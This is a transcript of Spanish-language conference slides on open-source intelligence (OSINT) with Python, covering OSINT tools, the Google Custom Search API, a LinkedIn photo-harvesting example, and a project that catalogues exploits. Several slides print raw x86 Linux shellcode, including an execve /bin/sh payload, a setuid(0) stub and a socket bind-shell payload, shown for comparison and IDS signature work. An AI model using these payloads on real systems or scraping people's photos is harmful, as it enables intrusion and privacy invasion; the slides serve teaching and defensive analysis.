Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT)...
Transcript of Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT)...
YO?
• Simón Roses Femerling
• Fundador & CEO, VULNEX www.vulnex.com
• Blog: www.simonroses.com
• Twitter: @simonroses
• Ex: Microsoft, PwC, @Stake
• Beca del DARPA Cyber Fast Track (CFT) para investigar sobre seguridad en el ciclo de desarrollo de software
• Ponente: Black Hat, RSA, OWASP, AppSec USA, SOURCE, DeepSec, TECHNET
OBJETIVOS DE LA CHARLA
• Open Source Intelligence (OSINT) – ¿Qué es?
– ¿Cómo aprovecharlo?
• Desarrollo en Python
• OSINT + Python = Hacking a medida
1. MODELO OSINT (SIMPLIFICADO)
FUENTES
EMPRESAS
REDES
SISTEMAS
PERSONAS
RECOGIDA
BBDD
SENSORES
ANÁLISIS RESULTADO
• Informes • Personas • Links • Imágenes • Vulnerabilidades
• Lenguaje • Relaciones • Dimensiones • Tiempo • Visual
1. HERRAMIENTAS OSINT
• Maltego http://www.paterva.com
• FOCA http://www.informatica64.com/foca.aspx
• Netglub http://www.netglub.org/
1. GOOGLE SEARCH API – CUSTOM SEARCH ENGINE (CSE)
• http://www.google.es/cse/
– Creamos un motor de búsqueda personalizado
– Token + ID
• https://code.google.com/apis/console/
– Activar APIs
• Solo 100 consultas por día (gratis)
2. UN POCO DE CÓDIGO
• Desarrollo de simples scripts en Python para OSINT
• Muchas veces las herramientas no hacen lo que necesitamos
2. EJEMPLO #2 - OBJETIVO
• Obtener las fotos de los miembros ANTPJI en LinkedIn mediante Google Custom Search API
3. BÚSQUEDA DE EXPLOITS
• Objetivo: monitorización de varias fuentes para analizar y catalogar exploits (c/c++,python, perl y ruby)
• Cada exploit es: – Catalogado
– Shellcode analizado
• Automatizado con Python
3. DIFERENCIAS EN SHELLCODES
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
\x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89\x45\xfc\xb0\x66\x31\xdb\x43\x8d\x4d\xf4\xcd\x80\x31\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39\x31\xdb\x89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40\x89\x45\xfc\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x8d\x4d\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45\xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Mítica shellcode por Aleph One
\x31\xc0\x31\xdb\xb0\x17\xcd\x80 // setuid(0)
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Exploit 1
Exploit 2
3. RESULTADO
• Usos de este proyecto:
– Repositorio de exploits para pentesting
– Evolución de exploits y shellcodes
– Detectar exploits maliciosos
– Firmas para IDS
– Estadísticas
4. CONCLUSIONES
• OSINT es un arte
• Diversos usos: – Pentesting
– Forensics
– Marketing
• Con un poco de Python podemos crear sofisticadas herramientas
4. PROYECTOS PYTHON OSINT
• https://github.com/sebdraven/OSINT
• https://github.com/hyprwired/osint-opsec-tool
• http://www.clips.ua.ac.be/pattern
• https://github.com/allfro/canari
4. LECTURA RECOMENDADA
• Automated Open Source Intelligence (OSINT) Using APIs http://raidersec.blogspot.com.es/2012/12/automated-open-source-intelligence.html
• COMO EXPLOTAR OSINT EFICAZMENTE http://www.defensa.gob.es/ceseden/Galerias/esfas/destacados/en_portada/COMOx20EXPLOTARx20OSINTx20EFICAZMENTE.pdf